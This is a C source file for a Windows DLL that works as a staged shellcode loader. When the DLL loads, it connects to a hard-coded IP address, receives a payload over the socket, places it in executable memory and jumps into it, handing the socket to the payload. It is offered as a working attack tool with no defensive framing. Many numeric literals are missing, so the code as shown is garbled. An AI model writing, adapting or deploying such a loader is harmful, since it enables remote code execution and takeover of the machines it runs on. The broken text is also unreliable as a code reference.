#include "Windows.h"
#include <WinSock2.h>
#include <stdio.h> #pragma comment(lib,"WS2_32.lib") int shellcode_execute()
{
WSADATA wsData;
if(WSAStartup(MAKEWORD(,),&wsData))
{
printf("WSAStartp fail.\n");
return ;
} SOCKET sock = WSASocket(AF_INET,SOCK_STREAM,,,,);
SOCKADDR_IN server;
ZeroMemory(&server,sizeof(SOCKADDR_IN));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("192.168.127.132"); //server ip
server.sin_port = htons(); //server port
if(SOCKET_ERROR == connect(sock,(SOCKADDR*)&server,sizeof(server)))
{
printf("connect to server fail.\n");
closesocket(sock);
WSACleanup();
return ;
} u_int payloadLen;
if (recv(sock,(char*)&payloadLen,sizeof(payloadLen),) != sizeof(payloadLen))
{
printf("recv error\n");
closesocket(sock);
WSACleanup();
return ;
} char* orig_buffer = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
char* buffer = orig_buffer;
int ret = ;
do
{
ret = recv(sock,buffer,payloadLen,);
buffer += ret;
payloadLen -= ret;
} while (ret > && payloadLen > ); //执行shellcode
__asm
{
mov edi,sock;
jmp orig_buffer;
} VirtualFree(orig_buffer,,MEM_RELEASE); } BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
shellcode_execute();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}